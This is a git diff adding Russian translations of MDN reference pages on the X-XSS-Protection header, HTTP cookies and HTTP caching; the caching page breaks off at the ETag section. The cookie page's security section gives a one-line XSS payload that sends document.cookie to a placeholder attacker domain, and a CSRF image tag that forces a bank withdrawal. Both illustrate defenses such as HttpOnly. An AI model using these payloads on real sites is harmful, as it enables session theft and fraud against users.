diff --git a/files/ru/web/http/заголовки/x-xss-protection/index.html b/files/ru/web/http/заголовки/x-xss-protection/index.html
new file mode 100644
index 0000000000..847ec38972
--- /dev/null
+++ b/files/ru/web/http/заголовки/x-xss-protection/index.html
@@ -0,0 +1,87 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Заголовки/X-XSS-Protection
+tags:
+  - HTTP
+  - XSS
+  - Безопасность
+  - Заголовок
+  - Справка
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа HTTP <strong><code>X-XSS-Protection</code></strong> это особенность Internet Explorer, Chrome и Safari, которая останавливает загрузку страниц при обнаружении ({{Glossary("XSS")}}) атаки. Хотя эти меры защиты не требуются в большинстве случаев для современных браузеров, когда сайты внедряют сильную политику безопасности контента {{HTTPHeader("Content-Security-Policy")}}, которая отключает использование встроенного JavaScript (<code>'unsafe-inline'</code>), они могут обеспечить защиту для пользователей, использующих устаревшие версии браузеров, не поддерживающих {{Glossary("CSP")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">
+    <p>Запрещенное имя заголовка</p>
+
+    <p>{{Glossary("Forbidden header name")}}</p>
+   </th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>Отключает фильтрацию XSS.</dd>
+ <dt>1</dt>
+ <dd>Включает фильтрацию XSS (по-умолчанию в браузерах). Если будет замечена попытка межсайтового скриптинга(XSS), браузер удалит небезопасное содержимое.</dd>
+ <dt>1; mode=block</dt>
+ <dd>Включает фильтрацию XSS. Вместо того, чтобы очищать содержимое страницы, браузер предотвратит отображение страницы, если заметит атаку.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Chromium only)</dt>
+ <dd>Включает фильтрацию XSS. При обнаружении атаки межсайтового скриптинга, браузер очистит страницу от небезопасного содержимого и сообщит о нарушении. Для отправки отчёта используется функциональные возможности директивы CSP {{CSP("report-uri")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Блокировка загрузки страницы, при обнаружении отражённой (непостоянной) XSS:</p>
+
+<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre>
+
+<p>PHP</p>
+
+<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash">&lt;IfModule mod_headers.c&gt;
+  Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью каких-либо спецификай или черновиков.</p>
+
+<h2 id="Поддерживается_браузерами">Поддерживается браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+  <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/куки/index.html b/files/ru/web/http/куки/index.html
new file mode 100644
index 0000000000..154f05cdb0
--- /dev/null
+++ b/files/ru/web/http/куки/index.html
@@ -0,0 +1,173 @@
+---
+title: Куки HTTP
+slug: Web/HTTP/Куки
+tags:
+  - Куки
+translation_of: Web/HTTP/Cookies
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.</p>
+
+<p>Cookie используются, главным образом, для:</p>
+
+<p>⦁    Управления сеансом (логины, корзины для виртуальных покупок)<br>
+ ⦁    Персонализации (пользовательские предпочтения)<br>
+ ⦁    Мониторинга (отслеживания поведения пользователя)</p>
+
+<p>До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> and <code>sessionStorage</code>) и<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>.</p>
+
+<div class="note">
+<p>Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Инспектор хранилища) из раздела Developer Tools (Веб-разработка).</p>
+</div>
+
+<h2 id="Создание_cookie">Создание cookie</h2>
+
+<p>Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок  {{HTTPHeader("Set-Cookie")}} с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP  {{HTTPHeader("Cookie")}} с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать  ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту  оно отсылается.</p>
+
+<h3 id="Заголовки_Set-Cookie_и_Cookie">Заголовки <code>Set-Cookie</code> и <code>Cookie</code></h3>
+
+<p>Заголовок {{HTTPHeader("Set-Cookie")}}  HTTP-отклика используется для отправки cookie с сервера на клиентское приложение (браузер). Простой cookie может задаваться так:</p>
+
+<pre class="syntaxbox">Set-Cookie: &lt;имя-cookie&gt;=&lt;заголовок-cookie&gt;</pre>
+
+<p>Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> и <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). Отклик, отправляемый браузеру, содержит заголовок <code>Set-Cookie</code>, и cookie запоминается браузером.</p>
+
+<pre>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p>Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. </p>
+
+<pre>GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+</pre>
+
+<h3 id="Сессионные_cookie">Сессионные cookie</h3>
+
+<p>Простой cookie, пример которого приведен выше, представляет собой сессионный <em>cookie</em> (<em>session cookie</em>) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты <code>Expires</code> или  <code>Max-Age</code> для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.</p>
+
+<h3 id="Постоянные_cookies">Постоянные cookies</h3>
+
+<p><em>Постоянные cookie</em> ( <em>permanent cookies</em>) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут <code>Expires</code>) или после определенного интервала времени (атрибут <code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<h3 id="Secure_(безопасные)_и_HttpOnly_cookies">Secure <code>("безопасные") и HttpOnly</code> cookies</h3>
+
+<p>"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг <code>secure</code> никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом <code>secure</code>.</p>
+
+<p>Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг <code>HttpOnly</code>.</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Область_видимости_куков">Область видимости куков</h3>
+
+<p><code>Директивы Domain</code>  <code>и Path </code>определяют область видимости куки, то есть те URL'ы, к которым куки могут отсылаться.<br>
+ Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.</p>
+
+<p>Например, если задано <code>Domain=mozilla.org</code>, то куки включены и в поддоменах, например, в <code>developer.mozilla.org</code>.</p>
+
+<p>Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie.  Символ %x2F ("/") интерпретируется как разделитель разделов, подразделы также включаются.</p>
+
+<p>Если задано Path=/docs, то подходят и такие пути, как:</p>
+
+<ul>
+ <li>"/docs",</li>
+ <li>"/docs/Web/",</li>
+ <li>"/docs/Web/HTTP"</li>
+</ul>
+
+<h3 id="Куки_SameSite_experimental_inline">Куки <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса ({{Glossary("CSRF")}}). Куки <code>SameSite</code> находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.</p>
+
+<h3 id="Доступ_из_JavaScript_посредством_Document.cookie">Доступ из JavaScript посредством <code>Document.cookie</code></h3>
+
+<p>Куки можно создавать через JavaScript при помощи свойства {{domxref("Document.cookie")}}. Если флаг <code>HttpOnly</code> не установлен, то и доступ к существующим cookies можно получить через JavaScript.</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). Куки, доступные для JavaScript, могут быть похищены посредством XSS.</p>
+
+<ul>
+</ul>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<div class="note">
+<p>Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.</p>
+</div>
+
+<h3 id="Захват_сессии_(session_hijacking)_и_XSS">Захват сессии (session hijacking) и XSS</h3>
+
+<p>Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..</p>
+
+<h3 id="Межсайтовая_подделка_запроса_(CSRF_-_Cross-site_request_forgery)">Межсайтовая подделка запроса (CSRF - Cross-site request forgery)</h3>
+
+<p>В <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:</p>
+
+<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого изпользуется ряд методов:</p>
+
+<ul>
+ <li>Как и при {{Glossary("XSS")}}, важна фильтрация входящей информации.</li>
+ <li>Для любой важной операции должно запрашиваться подтверждение.</li>
+ <li>Куки, используемые для ответственных операций, должны иметь короткий срок действия.</li>
+ <li>Дополнительную информацию можно получить в пользовательской инструкции по предотвращению <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF</a>.</li>
+</ul>
+
+<h2 id="Отслеживание_и_частные_данные">Отслеживание и частные данные</h2>
+
+<h3 id="Сторонние_(Third-party)_куки">Сторонние (Third-party) куки</h3>
+
+<p>Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "<em>куками первого лица</em>" (first-party cookies). Если это другой домен, их называют "<em>сторонними куками</em>" (<em>third-party cookies</em>). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть <a href="https://www.google.com/policies/technologies/types/">типы файлов cookie, используемые Google</a>. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> от <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement </a>(создание куков).</p>
+
+<h3 id="Не_отслеживать_(Do-Not-Track)">Не отслеживать (Do-Not-Track)</h3>
+
+<p>Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.</p>
+
+<h3 id="Директива_Евросоюза_о_куках">Директива Евросоюза о куках</h3>
+
+<p>Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.</p>
+
+<p>Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.</p>
+
+<p>Подробнее об этом можно прочитать в соответствующем разделе Википедии (<a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">Wikipedia</a>). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.</p>
+
+<h3 id="Куки-зомби_и_вечные_куки">Куки-зомби и "вечные" куки</h3>
+
+<p>Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (<a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
+</ul>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/ru/web/http/кэширование/index.html b/files/ru/web/http/кэширование/index.html
new file mode 100644
index 0000000000..8e472eb126
--- /dev/null
+++ b/files/ru/web/http/кэширование/index.html
@@ -0,0 +1,165 @@
+---
+title: HTTP-кеширование
+slug: Web/HTTP/Кэширование
+tags:
+  - HTTP
+  - Кеширование
+  - Кэширование
+  - Руководство
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой траффик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.</strong></p>
+
+<h2 id="Различные_виды_кеширования">Различные виды кеширования</h2>
+
+<p>Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.</p>
+
+<p>Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.</p>
+
+<p><br>
+ <br>
+  </p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="Приватный_private_кеш_браузера">Приватный (private) кеш браузера</h3>
+
+<p>Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.</p>
+
+<h3 id="Общий_shared_прокси-кеш">Общий (shared) прокси-кеш</h3>
+
+<p>Кеш совместного использования — это кеш, который сохраняет ответы, чтобы их потом могли использовать разные пользователи. Например, в локальной сети вашего провайдера или компании, может быть установлен прокси, обслуживающий множество пользователей, чтобы можно было повторно использовать популярные ресурсы, сокращая тем самым сетевой траффик и время ожидания.</p>
+
+<h2 id="Цели_кеширования">Цели кеширования</h2>
+
+<p>Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.</p>
+
+<p>Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:</p>
+
+<ul>
+ <li>Успешно загруженные ресурсы: ответ {{HTTPStatus(200)}} <code>OK</code> на запрос методом {{HTTPMethod("GET")}} HTML-документов, изображений или файлов.</li>
+ <li>Постоянные перенаправления: ответ {{HTTPStatus (301)}} <code>Moved Permanently</code> («перемещено навсегда»).</li>
+ <li>Сообщения об ошибках: ответ {{HTTPStatus(404)}} <code>Not Found</code> («не найдено»).</li>
+ <li>Неполные результаты: ответ {{HTTPStatus(206)}} <code>Partial Content</code> («частичное содержимое»).</li>
+ <li>
+  <p>Ответы на запросы отличные от {{HTTPMethod("GET")}}, если есть что-либо, подходящее для использования в качестве ключа кеша.</p>
+ </li>
+</ul>
+
+<p>Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано <a href="#Varying_responses">ниже</a>, в разделе, посвященном заголовку {{HTTPHeader("Vary")}}.</p>
+
+<h2 id="Управление_кешированием"><span class="long_text short_text" id="result_box" lang="ru"><span>Управление</span> </span>кеш<span class="long_text short_text" lang="ru"><span>ированием</span></span></h2>
+
+<h3 id="Заголовок_Cache-control">Заголовок <code>Cache-control</code></h3>
+
+<p>Поле {{HTTPHeader("Cache-Control")}} общего заголовка HTTP/1.1 используется для задания инструкций по механизму кеширования как в запросах, так и в ответах. Применяется для задания политик кеширования.</p>
+
+<h4 id="Полное_отсутствие_кеширования">Полное отсутствие кеширования</h4>
+
+<p>В кеше не должно сохраняться ничего — ни по запросам клиента, ни по ответам сервера. Запрос всегда отправляется на сервер, ответ всегда загружается полностью.</p>
+
+<pre class="notranslate">Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h4 id="Кешировать_но_проверять_актуальность">Кешировать, но проверять актуальность</h4>
+
+<p>Перед тем, как выдать копию, кеш запрашивает исходный сервер на предмет актуальности ресурса.</p>
+
+<pre class="notranslate">Cache-Control: no-cache</pre>
+
+<h4 id="Приватные_private_и_общие_public_кеши">Приватные (private) и общие (public) кеши</h4>
+
+<p>Директива "public" указывает, что ответ можно сохранять в любом кеше. Это бывает полезно, если возникает потребность сохранить страницы с HTTP-аутентификацией, или такими кодами ответа, которые обычно не кешируются. Директива же "private" указывает, что ответ предназначен отдельному пользователю и не должен храниться в кеше совместного использования. В этом случае ответ может сохраняться приватным кешем браузера.</p>
+
+<pre class="notranslate">Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="Срок_действия_Expiration">Срок действия (Expiration)</h4>
+
+<p>Самой важной здесь является директива "max-age=&lt;seconds&gt;" — максимальное время, в течение которого ресурс считается "свежим". В отличие от директивы {{HTTPHeader("Expires")}}, она привязана к моменту запроса. К неизменяющимся файлам приложения обычно можно применять "агрессивное" кеширование. Примером таких статических файлов могут быть изображения, файлы стилей (CSS) или скриптов (JavaScript).</p>
+
+<p>Подробнее об этом рассказывается в разделе <a href="#Freshness">Свежесть ресурса</a>.</p>
+
+<pre class="notranslate">Cache-Control: max-age=31536000</pre>
+
+<h4 id="Проверка_актуальности">Проверка актуальности</h4>
+
+<p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p>
+
+<pre class="notranslate">Cache-Control: must-revalidate</pre>
+
+<h3 id="Заголовок_Pragma">Заголовок <code>Pragma </code></h3>
+
+<p>{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.</p>
+
+<h2 id="Свежесть_сохраненной_копии"><a id="Freshness" name="Freshness">Свежесть сохраненной копии</a></h2>
+
+<p>Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют <em>вытеснением данных из кеша</em> (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается <em>свежим </em>(fresh), после — <em>устаревшим </em>(stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} <code>Not Modified</code> («не изменялось»), а тело ресурса не посылает, экономя тем самым траффик.</p>
+
+<p>Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br>
+ Время устаревания (expirationTime) вычисляется следующим образом:</p>
+
+<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge
+</pre>
+
+<p>где responseTime — это время получения ответа по часам браузера, а currentAge — текущий возраст кеша.</p>
+
+<h3 id="Обновление_статических_ресурсов_Revved_resources">Обновление статических ресурсов (Revved resources)</h3>
+
+<p>Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.</p>
+
+<p>Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.</p>
+
+<p>Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>Номер версии, добавляемый к статическому ресурсу, не обязательно записывать в виде стандартного номера версии наподобие 1.1.3, или другого возрастающего числового значения. Это может быть что угодно, позволяющее избежать совпадений — например, дата.</p>
+
+<h2 id="Валидация_кеша"><a id="Cache_validation" name="Cache_validation">Валидация кеша</a></h2>
+
+<p>Валидация кеша запускается при нажатии пользователем кнопки перезагрузки. Кроме того, она может выполняться в ходе обычного просмотра страниц, если кешированный ответ включает заголовок "Cache-control: must-revalidate". Другим фактором являются настройки кеширования браузера — можно потребовать принудительной валидации при каждой загрузке документа.</p>
+
+<p>При истечении срока годности документа он либо проходит валидацию, либо повторно доставляется с сервера. Валидация может выполняться только если на сервере реализован <em>сильный валидатор </em>или <em>слабый валидатор</em>.</p>
+
+<h3 id="Заголовки_ETag">Заголовки ETag</h3>
+
+<p>Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок <code>ETag</code>, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.</p>
+
